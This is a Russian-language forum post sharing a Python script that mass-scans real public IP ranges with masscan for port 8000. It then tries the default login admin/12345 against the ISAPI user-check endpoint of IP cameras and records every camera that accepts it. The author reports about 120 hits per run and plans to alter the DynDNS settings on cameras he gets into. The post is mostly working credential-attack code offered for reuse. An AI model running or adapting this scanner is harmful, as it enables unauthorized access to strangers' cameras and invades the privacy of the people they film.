Показать сообщение отдельно

  #9  
Старый 12.06.2015, 12:38
neocaine
Новичок
Регистрация: 11.06.2015
Сообщений: 13
С нами: 5749526

Репутация: 0
По умолчанию

Всем привет написал скриптик на питоне Linux Only (из-за статичных путей), прошу сильно не пинать.

Скрипт сканит диапазоны IP, все где открыт порт 8000 сохраняет в XML (средствами masscan), затем бежит по IP адресам в этом XML парсит страничку находящуюся на порту 8000 вставляя дефолтный логин и пароль, если подошел записывает в фаил, иначе переходит к следующему IP адресу.

З.Ы. Камеры к которым уже подошел лог пасс второй добавляет в исключение, при повторном запуске пропускает.

Есть пару неотлавливаемых ошибок, если кто хочет помочь дописать, оптимизировать, привязать морду (GUI), сделать кроссплатформенный прошу на github (filatovvo), irc (neocaine), или в личку.

В диапазоне моей страны находит около 120 камер за первый пробег.

.SpoilerTarget" type="button">Spoiler: GitHub
https://github.com/filatovvo/TasIXIP...ter/scanner.py

.SpoilerTarget" type="button">Spoiler: Python CODE

Код:
# INSTALL
# Requirements
# Root Priveleges
# https://github.com/martinblech/xmltodict - XML To Dictionary Parser
# https://github.com/robertdavidgraham/masscan - Masscan For Range Scanning

#CONSTANTS
LOGIN = 'admin'
PWD = '12345'
SCRIPTRESULT = 'result.txt'
LOGGINGLEVEL = 40  # 'CRITICAL' : 50, 'ERROR' : 40, 'WARNING' : 30, 'INFO' : 20, 'DEBUG' : 10
ARCHIVEPATH = '/tmp/ipcam/archive//'
ARCHIVEFOLDERNAME = 'archive'
MASSCANFOLDER = '/home/neocaine/'
MASSCANRESULT = 'scan.xml'
MASSCANEXCLUDE = 'exclude'
MASSCANCONF = 'cam.conf'
MASSCANCAMPORTCONF = 'port = 8000'
MASSCANOUTPUTFORMATCONF = 'output-format = xml'
MASSCANRESULTCONF = 'output-filename = ' + MASSCANFOLDER+MASSCANRESULT
MASSCANEXCLUDECONF = 'excludefile = ' + MASSCANFOLDER+MASSCANEXCLUDE
MASSCANRANGECONF = '''http-user-agent = neocaine@blablabla.ru
range = 31.136.209.0/21
range = 218.31.161.0/20'''

import requests
import xmltodict
import shutil, zipfile
import os, logging, time
from datetime import datetime, timedelta
from urllib2 import urlopen
import urllib2, httplib
import socket
import requests

def make_conf_for_masscan():
    masscan_config = MASSCANRANGECONF + '\r\n'\
                    + MASSCANCAMPORTCONF + '\r\n'\
                    + MASSCANEXCLUDECONF + '\r\n'\
                    +  MASSCANOUTPUTFORMATCONF + '\r\n'\
                    + MASSCANRESULTCONF

    fname = MASSCANFOLDER + MASSCANCONF
    if os.path.exists(fname):
        os.remove(fname)
        open(fname, 'a').close()
        with open(fname, 'a') as masscan_conf:
            masscan_conf.seek(0)
            masscan_conf.write(masscan_config)
            masscan_conf.close()
    else:
        open(fname, 'a').close()
        with open(fname, 'a') as masscan_conf:
            masscan_conf.seek(0)
            masscan_conf.write(masscan_config)
            masscan_conf.close()

    fnameExclude = MASSCANFOLDER + MASSCANEXCLUDE
    open(fnameExclude, 'a').close()

def start_masscan():
    os.system('/usr/bin/masscan -c '+MASSCANFOLDER+MASSCANCONF)
#MakeDir Function

def mkdir(dir):
    logging.debug('_Function Called mkdir (dir = %s)' % dir)
    try:
        os.stat(dir)
    except:
        os.makedirs(dir)

def zipdir(path, zip):
    logging.debug('_Function Called zipdir(path = %s, zip = %s)' % (path, zip))
    for root, dirs, files in os.walk(path):
        for file in files:
            zip.write(os.path.join(root, file))

def delete_previous_file():
    logging.debug('_Function Called deletePreviousFile')
    try:
        os.remove(MASSCANFOLDER + MASSCANRESULT)
        os.remove(MASSCANFOLDER + SCRIPTRESULT)
    except:
        logging.warn("Cant Delete Folder Tree at %s" % MASSCANFOLDER)

def setup_custom_logger(name):
    formatter = logging.basicConfig(format=u'%(filename)s '
                                           u'[LINE:%(lineno)d]# '
                                           u'%(levelname)-8s '
                                           u'[%(asctime)s] '
                                           u'%(message)s', level=LOGGINGLEVEL)

    handler = logging.StreamHandler()
    handler.setFormatter(formatter)
    logger = logging.getLogger(name)
    logger.setLevel(logging.DEBUG)
    logger.addHandler(handler)
    return logger

def test_default_log_pass(ip):
    logging.debug('_Function Called testDefaultLogPass(ip) with ip=%s', ip)
    url = 'http://'+LOGIN+':'+PWD+'@' + ip +'/ISAPI/Security/userCheck?timeStamp=' + unixtime
    class MyException(Exception):
        pass

    try:
        a =urllib2.urlopen("http://"+ip, timeout = 3)
    except urllib2.URLError, e:
        logging.warning('Exception in urllib2.urlopen = %s', e)
        return 0
    except socket.timeout, e:
        logging.warning('Exception in socket = %s', e)
        return 0
    except socket.error, e:
        logging.warning('Exception in socket = %s', e)
        return 0
    except requests.ConnectionError, e:
        logging.warning('Exception in request = %s', e)
        return 0
    except requests.RequestException,e:
        logging.warning('Exception in request = %s', e)
        return 0
    except httplib.BadStatusLine, e:
        logging.warning('Exception in httplib = %s', e)
        return 0
    except:
        logging.warning("Unknown Exception while urllib2.urlopen")
        return 0

    logging.debug('Request Post To = %s', url)
    values = {'username': LOGIN,
              'password': PWD}
    r = requests
    try:
        r = requests.post(url, data=values)
    except requests.ConnectionError, e:
        logging.warning('Exception in requests = %s', e)
        return 0
    except httplib.BadStatusLine, e:
        logging.warning('Exception in httplib = %s', e)
        return 0
    except:
        logging.warning("Unknown Exception while requests.post")
        return 0

    fname = MASSCANFOLDER + MASSCANRESULT

    if os.path.exists(fname):
        os.remove(fname)
        open(fname, 'a').close()
        with open(fname, 'a') as myxmlfile:
            myxmlfile.seek(0)
            myxmlfile.write(r.content)
            myxmlfile.close()
    else:
        open(fname, 'a').close()
        with open(fname, 'a') as myxmlfile:
            myxmlfile.seek(0)
            myxmlfile.write(r.content)
            myxmlfile.close()

    with open(fname) as fd:
        try:
            obj = xmltodict.parse(fd.read())
        except:
            logging.warning("Can`t Parse Required xml data")
            return 0
    try:
        if int(obj['userCheck']['statusValue']) == 200:
            print ip + ' Has Default Log Password'
            os.system('/bin/echo ' + ip + ' Has Default Log Password'+ '>>' + MASSCANFOLDER+SCRIPTRESULT)
            os.system('/bin/echo ' + ip + '>>' + MASSCANFOLDER + MASSCANEXCLUDE)
    except:
        logging.debug("xml unknown format = %s",ip)

def masscan_return_parser():
    fname = MASSCANFOLDER + MASSCANRESULT
    if not os.path.exists(fname):
        print(fname)
        print("WTF")
        exit()
    with open(fname) as masscanResult:
        objects = xmltodict.parse(masscanResult.read())

    for w in objects['nmaprun']['host']:
        logging.debug("Getting Ip from XML = %s", w['address']['@addr'])
        test_default_log_pass(w['address']['@addr'])

logger = setup_custom_logger('root')
datenow = datetime.now()
unixtime = str(time.time() + timedelta(days=3).total_seconds())

delete_previous_file()
make_conf_for_masscan()
start_masscan()
masscan_return_parser()
В дальнейшем планирую вытаскивать DYNDNS запись, если она настроена на камере, если нет то дописать туда рандомно числа и в случае успешного сохранения так же записать в фаил.
 
Ответить с цитированием